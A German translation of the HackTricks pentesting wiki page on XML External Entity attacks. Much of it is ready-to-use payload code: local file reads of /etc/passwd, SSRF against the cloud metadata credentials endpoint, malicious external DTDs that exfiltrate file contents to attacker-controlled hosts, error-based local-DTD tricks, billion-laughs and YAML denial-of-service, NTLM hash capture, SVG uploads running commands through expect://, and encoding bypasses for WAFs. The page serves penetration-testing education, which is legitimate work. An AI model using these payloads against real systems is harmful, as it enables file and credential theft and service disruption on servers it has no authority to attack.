# XXE - XEE - XML External Entity

<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.

</details>

## XML-Grundlagen

XML ist eine Auszeichnungssprache, die für die Speicherung und den Transport von Daten entwickelt wurde und eine flexible Struktur aufweist, die die Verwendung von beschreibend benannten Tags ermöglicht. Es unterscheidet sich von HTML, da es nicht auf eine Reihe vordefinierter Tags beschränkt ist. Die Bedeutung von XML hat mit dem Aufstieg von JSON abgenommen, trotz seiner ursprünglichen Rolle in der AJAX-Technologie.

* **Datenrepräsentation durch Entitäten**: Entitäten in XML ermöglichen die Darstellung von Daten, einschließlich Sonderzeichen wie `&lt;` und `&gt;`, die `<` und `>` entsprechen, um Konflikte mit dem Tag-System von XML zu vermeiden.
* **Definition von XML-Elementen**: XML ermöglicht die Definition von Elementtypen, die beschreiben, wie Elemente strukturiert sein sollten und welchen Inhalt sie enthalten können, von beliebigem Inhalt bis zu spezifischen Unterelementen.
* **Document Type Definition (DTD)**: DTDs sind in XML entscheidend, um die Struktur des Dokuments und die Arten von Daten, die es enthalten kann, zu definieren. Sie können intern, extern oder eine Kombination sein und zeigen, wie Dokumente formatiert und validiert werden.
* **Benutzerdefinierte und externe Entitäten**: XML unterstützt die Erstellung benutzerdefinierter Entitäten innerhalb einer DTD zur flexiblen Datenrepräsentation. Externe Entitäten, die mit einer URL definiert sind, werfen Sicherheitsbedenken auf, insbesondere im Zusammenhang mit XML External Entity (XXE)-Angriffen, die die Art und Weise ausnutzen, wie XML-Parser externe Datenquellen verarbeiten: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **XXE-Erkennung mit Parameterentitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers versagen, können XML-Parameterentitäten verwendet werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken, wie das Auslösen von DNS-Lookups oder HTTP-Anfragen an eine kontrollierte Domain, um die Schwachstelle zu bestätigen.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`

## Hauptangriffe

[**Die meisten dieser Angriffe wurden mit den großartigen Portswiggers XEE-Labors getestet: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)

### Neuer Entitätstest

In diesem Angriff werde ich testen, ob eine einfache neue ENTITÄTSdeklaration funktioniert.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
### Datei lesen

Lassen Sie uns versuchen, die Datei `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könnten Sie versuchen, die Datei zu lesen: `C:\windows\system32\drivers\etc\hosts`

In diesem ersten Fall beachten Sie, dass SYSTEM "_\*\*file:///\*\*etc/passwd_" auch funktionieren wird.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../.gitbook/assets/image (221).png>)

Dieser zweite Fall sollte nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (Nicht der Fall von Portswiggers Labs)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
Im dritten Fall fällt auf, dass wir das `Element stockCheck` als ANY deklarieren.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
![](<../.gitbook/assets/image (222) (1).png>)

### Verzeichnis auflisten

In **Java**-basierten Anwendungen ist es möglicherweise möglich, **den Inhalt eines Verzeichnisses** über XXE aufzulisten, indem Sie ein Payload wie den folgenden verwenden (nur nach dem Verzeichnis anstelle der Datei fragen):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
### SSRF

Ein XXE könnte verwendet werden, um einen SSRF in einer Cloud zu missbrauchen
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
### Blind SSRF

Durch Verwendung der **zuvor kommentierten Technik** können Sie den Server dazu bringen, auf einen von Ihnen kontrollierten Server zuzugreifen, um dessen Verwundbarkeit aufzuzeigen. Wenn das nicht funktioniert, liegt es möglicherweise daran, dass **XML-Entitäten nicht erlaubt sind**. In diesem Fall könnten Sie versuchen, **XML-Parameterentitäten** zu verwenden:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Blind" SSRF - Daten außerhalb des Bandes exfiltrieren

**In diesem Fall lassen wir den Server eine neue DTD mit einer bösartigen Nutzlast laden, die den Inhalt einer Datei über einen HTTP-Request sendet (**für **mehrzeilige Dateien könnten Sie versuchen, sie über** _**ftp://**_ **auszuleiten, indem Sie diesen einfachen Server verwenden, zum Beispiel [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Diese Erklärung basiert auf** [**Portswiggers Lab hier**](https://portswigger.net/web-security/xxe/blind)**.**

In der bösartigen DTD werden eine Reihe von Schritten durchgeführt, um Daten zu exfiltrieren:

### Beispiel für bösartige DTD:

Die Struktur ist wie folgt:
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
Die von dieser DTD ausgeführten Schritte umfassen:

1. **Definition von Parameter Entities:**
   * Es wird eine XML-Parameter-Entity `%file` erstellt, die den Inhalt der Datei `/etc/hostname` liest.
   * Eine weitere XML-Parameter-Entity `%eval` wird definiert. Sie deklariert dynamisch eine neue XML-Parameter-Entity `%exfiltrate`. Die `%exfiltrate`-Entity wird so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entity im Query-String der URL übergibt.
2. **Ausführung von Entities:**
   * Die `%eval`-Entity wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entity führt.
   * Anschließend wird die `%exfiltrate`-Entity verwendet, um eine HTTP-Anfrage an die angegebene URL mit den Dateiinhalten auszulösen.

Der Angreifer hostet diese bösartige DTD auf einem Server unter seiner Kontrolle, normalerweise unter einer URL wie `http://web-attacker.com/malicious.dtd`.

**XXE-Payload:** Um eine verwundbare Anwendung auszunutzen, sendet der Angreifer ein XXE-Payload:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Diese Payload definiert eine XML-Parameterentität `%xxe` und bindet sie in die DTD ein. Wenn diese Payload von einem XML-Parser verarbeitet wird, ruft sie die externe DTD vom Server des Angreifers ab. Der Parser interpretiert dann die DTD inline, führt die in der bösartigen DTD beschriebenen Schritte aus und führt zur Exfiltration der Datei `/etc/hostname` auf den Server des Angreifers.

### Fehlerbasiert (Externe DTD)

**In diesem Fall werden wir den Server dazu bringen, eine bösartige DTD zu laden, die den Inhalt einer Datei in einer Fehlermeldung anzeigt (dies ist nur gültig, wenn Sie Fehlermeldungen sehen können).** [**Beispiel von hier.**](https://portswigger.net/web-security/xxe/blind)

Eine XML-Analysierungsfehlermeldung, die den Inhalt der Datei `/etc/passwd` offenbart, kann durch eine bösartige externe Document Type Definition (DTD) ausgelöst werden. Dies wird durch die folgenden Schritte erreicht:

1. Eine XML-Parameterentität namens `file` wird definiert, die den Inhalt der Datei `/etc/passwd` enthält.
2. Eine XML-Parameterentität namens `eval` wird definiert, die eine dynamische Deklaration für eine weitere XML-Parameterentität namens `error` enthält. Diese `error`-Entität versucht beim Auswerten, eine nicht vorhandene Datei zu laden, wobei sie den Inhalt der `file`-Entität als Namen verwendet.
3. Die `eval`-Entität wird aufgerufen, was zur dynamischen Deklaration der `error`-Entität führt.
4. Der Aufruf der `error`-Entität führt zu einem Versuch, eine nicht vorhandene Datei zu laden, was eine Fehlermeldung erzeugt, die den Inhalt der Datei `/etc/passwd` als Teil des Dateinamens enthält.

Die bösartige externe DTD kann mit dem folgenden XML aufgerufen werden:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Nach der Ausführung sollte die Antwort des Webservers eine Fehlermeldung enthalten, die den Inhalt der Datei `/etc/passwd` anzeigt.

![](<../.gitbook/assets/image (223) (1).png>)

_**Bitte beachten Sie, dass externe DTD es uns ermöglichen, eine Entität innerhalb der zweiten (****`eval`****) einzuschließen, was jedoch in der internen DTD verboten ist. Daher können Sie keinen Fehler erzwingen, ohne eine externe DTD zu verwenden (normalerweise).**_

### **Fehlerbasiert (System DTD)**

Was ist mit blinden XXE-Schwachstellen, wenn **Out-of-Band-Interaktionen blockiert sind** (externe Verbindungen nicht verfügbar sind)?.

Eine Schlupfloch in der XML-Sprachspezifikation kann dazu führen, dass **sensible Daten durch Fehlermeldungen offengelegt werden, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Ausführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, innerhalb einer internen DTD. Wenn Out-of-Band-Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsingsfehler zu verursachen, um sensible Informationen offenzulegen.

Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsingfehler induzieren, der den Inhalt der Datei `/etc/passwd` offenbart, indem er eine hybride DTD wie folgt einreicht:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
Die beschriebenen Schritte werden von dieser DTD ausgeführt:

* Die Definition einer XML-Parameterentität mit dem Namen `local_dtd` enthält die externe DTD-Datei, die sich auf dem Dateisystem des Servers befindet.
* Es erfolgt eine Neudefinition der XML-Parameterentität `custom_entity`, die ursprünglich in der externen DTD definiert wurde, um einen [fehlerbasierten XXE-Exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) zu umschließen. Diese Neudefinition ist darauf ausgelegt, einen Parsfehler hervorzurufen, der den Inhalt der Datei `/etc/passwd` offenlegt.
* Durch Verwendung der Entität `local_dtd` wird die externe DTD einbezogen, die die neu definierte `custom_entity` umfasst. Diese Abfolge von Aktionen führt zur Ausgabe der vom Exploit angestrebten Fehlermeldung.

**Beispiel aus der realen Welt:** Systeme, die die GNOME-Desktop-Umgebung verwenden, haben oft eine DTD unter `/usr/share/yelp/dtd/docbookx.dtd`, die eine Entität namens `ISOamso` enthält.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../.gitbook/assets/image (224).png>)

Da diese Technik eine **interne DTD verwendet, müssen Sie zuerst eine gültige finden**. Sie könnten dies tun, indem Sie dasselbe **Betriebssystem / dieselbe Software installieren**, die der Server verwendet, und **nach einigen Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen abrufen und **überprüfen**, ob eine davon existiert:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
Für weitere Informationen siehe [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)

### Auffinden von DTDs im System

In dem folgenden großartigen Github-Repo findest du **Pfade von DTDs, die im System vorhanden sein können**:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

Darüber hinaus, wenn du das **Docker-Image des Opfersystems** hast, kannst du das Tool desselben Repos verwenden, um das **Image zu scannen** und den Pfad der **DTDs** im System zu **finden**. Lies das [Readme des Githubs](https://github.com/GoSecure/dtd-finder), um zu erfahren, wie.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE über Office Open XML-Parser

Für eine ausführlichere Erklärung dieses Angriffs, **überprüfen Sie den zweiten Abschnitt** [**dieses erstaunlichen Beitrags**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify**.

Die Fähigkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen** angeboten, die dann bestimmte Details aus diesen Dokumenten extrahieren. Beispielsweise kann eine Webanwendung Benutzern ermöglichen, Daten durch Hochladen einer Tabelle im XLSX-Format zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei analysieren.

Um diese Schwachstelle zu testen, ist es erforderlich, eine **Microsoft Office-Datei mit einem XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann.

Nachdem das Dokument entpackt wurde, sollte die XML-Datei unter `./unzipped/word/document.xml` in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so geändert werden, dass der gewünschte XXE-Payload eingefügt wird, der oft mit einer HTTP-Anfrage beginnt.

Die geänderten XML-Zeilen sollten zwischen den beiden Wurzel-XML-Objekten eingefügt werden. Es ist wichtig, die URL durch eine überwachbare URL für Anfragen zu ersetzen.

Schließlich kann die Datei gezippt werden, um die bösartige poc.docx-Datei zu erstellen. Aus dem zuvor erstellten "unzipped"-Verzeichnis sollte der folgende Befehl ausgeführt werden:

Jetzt kann die erstellte Datei in die potenziell gefährdete Webanwendung hochgeladen werden, und man kann auf das Erscheinen einer Anfrage in den Burp Collaborator-Protokollen hoffen.

### Jar: Protokoll

Das **jar**-Protokoll ist ausschließlich in **Java-Anwendungen** verfügbar. Es ist darauf ausgelegt, den Dateizugriff innerhalb eines **PKZIP**-Archivs (z. B. `.zip`, `.jar`, usw.) zu ermöglichen und sowohl lokale als auch entfernte Dateien zu unterstützen.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Um auf Dateien innerhalb von PKZIP-Dateien zugreifen zu können, ist es **sehr nützlich, XXE über System-DTD-Dateien zu missbrauchen.** Überprüfen Sie [diesen Abschnitt, um zu lernen, wie man System-DTD-Dateien missbraucht](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}

Der Prozess, um auf eine Datei innerhalb eines PKZIP-Archivs über das jar-Protokoll zuzugreifen, umfasst mehrere Schritte:

1. Es wird eine HTTP-Anfrage gestellt, um das Zip-Archiv von einem bestimmten Ort wie `https://download.website.com/archive.zip` herunterzuladen.
2. Die HTTP-Antwort, die das Archiv enthält, wird vorübergehend auf dem System gespeichert, normalerweise an einem Ort wie `/tmp/...`.
3. Das Archiv wird dann extrahiert, um auf dessen Inhalt zuzugreifen.
4. Die spezifische Datei innerhalb des Archivs, `file.zip`, wird gelesen.
5. Nach der Operation werden alle temporären Dateien, die während dieses Prozesses erstellt wurden, gelöscht.

Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung unbegrenzt offen zu halten, während das Archiv bereitgestellt wird. Tools, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) verfügbar sind, können zu diesem Zweck genutzt werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
{% hint style="danger" %}
Das Schreiben von Dateien in einem temporären Verzeichnis kann dazu beitragen, **eine andere Schwachstelle zu eskalieren, die einen Pfadtraversierungsvorfall beinhaltet** (wie z.B. lokale Dateieinschließung, Vorlageninjektion, XSLT RCE, Deserialisierung, usw.).
{% endhint %}

### XSS
```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
### DoS

#### Billion Laugh Attack
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
#### Yaml-Angriff
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Quadratische Aufblähungsattacke

![](<../.gitbook/assets/image (531).png>)

#### Abrufen von NTML

Auf Windows-Hosts ist es möglich, den NTML-Hash des Webservers Benutzers zu erhalten, indem ein responder.py-Handler festgelegt wird:
```bash
Responder.py -I eth0 -v
```
und durch das Senden der folgenden Anfrage
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
## Versteckte XXE-Oberflächen

### XInclude

Bei der Integration von Client-Daten in serverseitige XML-Dokumente, wie sie in Backend-SOAP-Anfragen verwendet werden, ist die direkte Kontrolle über die XML-Struktur häufig eingeschränkt, was herkömmliche XXE-Angriffe aufgrund von Beschränkungen bei der Änderung des `DOCTYPE`-Elements behindert. Ein `XInclude`-Angriff bietet jedoch eine Lösung, indem externe Entitäten in jedes Datenelement des XML-Dokuments eingefügt werden können. Diese Methode ist selbst dann wirksam, wenn nur ein Teil der Daten innerhalb eines servergenerierten XML-Dokuments kontrolliert werden kann.

Um einen `XInclude`-Angriff auszuführen, muss der `XInclude`-Namespace deklariert und der Dateipfad für die beabsichtigte externe Entität angegeben werden. Nachfolgend finden Sie ein prägnantes Beispiel, wie ein solcher Angriff formuliert werden kann:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
Überprüfen Sie [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) für weitere Informationen!

### SVG - Datei-Upload

Dateien, die von Benutzern in bestimmte Anwendungen hochgeladen und dann auf dem Server verarbeitet werden, können Schwachstellen in der Behandlung von XML- oder XML-enthaltenden Dateiformaten ausnutzen. Gängige Dateiformate wie Office-Dokumente (DOCX) und Bilder (SVG) basieren auf XML.

Wenn Benutzer **Bilder hochladen**, werden diese Bilder serverseitig verarbeitet oder validiert. Selbst für Anwendungen, die Formate wie PNG oder JPEG erwarten, könnte die **Bibliothek zur Bildverarbeitung des Servers auch SVG-Bilder unterstützen**. SVG, als XML-basiertes Format, kann von Angreifern ausgenutzt werden, um bösartige SVG-Bilder zu übermitteln und den Server somit anfällig für XXE (XML External Entity)-Schwachstellen zu machen.

Ein Beispiel für einen solchen Angriff wird unten gezeigt, bei dem ein bösartiges SVG-Bild versucht, Systemdateien zu lesen:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Eine weitere Methode besteht darin, zu versuchen, Befehle über den PHP-"expect"-Wrapper auszuführen:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
In beiden Fällen wird das SVG-Format verwendet, um Angriffe zu starten, die die XML-Verarbeitungsfähigkeiten der Server-Software ausnutzen, was die Notwendigkeit einer robusten Eingabevalidierung und Sicherheitsmaßnahmen verdeutlicht.

Überprüfen Sie [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) für weitere Informationen!

**Beachten Sie, dass die erste Zeile der gelesenen Datei oder des Ergebnisses der Ausführung INNERHALB des erstellten Bildes erscheinen wird. Sie müssen also auf das Bild zugreifen können, das SVG erstellt hat.**

### **PDF - Datei-Upload**

Lesen Sie den folgenden Beitrag, um zu erfahren, wie man eine XXE ausnutzt, indem man eine PDF-Datei hochlädt:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}

### Content-Type: Von x-www-urlencoded zu XML

Wenn eine POST-Anfrage die Daten im XML-Format akzeptiert, könnten Sie versuchen, eine XXE in dieser Anfrage auszunutzen. Zum Beispiel, wenn eine normale Anfrage Folgendes enthält:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
```
Dann könnten Sie möglicherweise die folgende Anfrage mit demselben Ergebnis senden:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
### Content-Type: Von JSON zu XEE

Um die Anfrage zu ändern, könnten Sie eine Burp-Erweiterung namens "**Content Type Converter**" verwenden. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) finden Sie dieses Beispiel:
```xml
Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```

```xml
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
Eine weitere Beispiel finden Sie [hier](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).

## WAF & Schutzmechanismen Umgehen

### Base64
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
Dies funktioniert nur, wenn der XML-Server das `data://`-Protokoll akzeptiert.

### UTF-7

Sie können die \[**"Encode Recipe**" von CyberChef hier ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)verwenden, um in UTF-7 zu transformieren.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```

```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### Datei:/ Protokollumgehung

Wenn die Website PHP verwendet, können Sie anstelle von `file:/` **PHP-Wrapper** `php://filter/convert.base64-encode/resource=` verwenden, um auf **interne Dateien zuzugreifen**.

Wenn die Website Java verwendet, können Sie das [**jar: Protokoll**](xxe-xee-xml-external-entity.md#jar-protocol) überprüfen.

### HTML-Entitäten

Trick von [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Sie können eine **Entität innerhalb einer Entität** erstellen, indem Sie sie mit **HTML-Entitäten** codieren und sie dann aufrufen, um eine **dtd zu laden**.\
Beachten Sie, dass die verwendeten **HTML-Entitäten** **numerisch** sein müssen (wie im \[Beispiel]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
```
Beispiel für DTD:
```xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
## PHP-Wrapper

### Base64

